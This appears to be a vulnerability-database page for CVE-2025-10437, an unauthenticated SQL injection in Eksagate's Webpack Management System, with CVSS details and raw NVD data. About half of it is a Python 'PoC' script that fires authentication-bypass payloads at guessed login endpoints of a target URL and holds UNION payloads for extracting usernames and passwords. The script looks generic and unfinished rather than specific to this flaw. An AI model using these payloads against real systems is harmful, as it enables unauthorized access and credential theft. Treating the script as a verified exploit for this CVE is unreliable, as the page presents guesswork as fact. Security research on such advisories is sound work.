Security Vulnerability Report
中文
CVE-2025-10437 CVSS 9.8 CRITICAL

CVE-2025-10437

Published: 2025-11-19 12:15:48
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Eksagate Electronic Engineering and Computer Industry Trade Inc. Webpack Management System allows SQL Injection.This issue affects Webpack Management System: through 20251119.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Webpack Management System 所有版本 <= 2025-11-19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10437 SQL Injection PoC # Target: Webpack Management System # Type: Unauthenticated SQL Injection # # Basic Authentication Bypass using OR condition: # import requests import sys def test_sqli(target_url): """Test for SQL Injection vulnerability""" # Vulnerable endpoint (typical path for Webpack Management System) endpoints = [ '/login', '/admin/login', '/api/auth', '/api/login', '/user/login' ] # SQL Injection payloads payloads = [ "' OR '1'='1", "' OR '1'='1' --", "' OR '1'='1' #", "admin' OR '1'='1", "' OR 1=1--", "' OR 'a'='a" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint for payload in payloads: # Test authentication bypass data = { 'username': payload, 'password': payload } try: response = requests.post(url, data=data, timeout=10) # Check for successful injection indicators if any(indicator in response.text.lower() for indicator in ['admin', 'dashboard', 'welcome', 'logout', 'management']): print(f"[+] Potential SQL Injection found at {url}") print(f"[+] Payload: {payload}") return True except Exception as e: print(f"[-] Error testing {url}: {e}") return False def extract_data(target_url): """Extract data using UNION-based SQL injection""" # UNION-based injection for data extraction union_payloads = [ "' UNION SELECT NULL--", "' UNION SELECT NULL,NULL--", "' UNION SELECT username,password FROM users--", "' UNION SELECT NULL,NULL,NULL,NULL FROM information_schema.tables--" ] for payload in union_payloads: # Modify based on actual vulnerable parameter params = {'id': payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Testing payload: {payload}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-10437.py <target_url>") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-10437 on {target}") test_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10437", "sourceIdentifier": "[email protected]", "published": "2025-11-19T12:15:47.857", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Eksagate Electronic Engineering and Computer Industry Trade Inc. Webpack Management System allows SQL Injection.This issue affects Webpack Management System: through 20251119."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0401", "source": "[email protected]"}]}}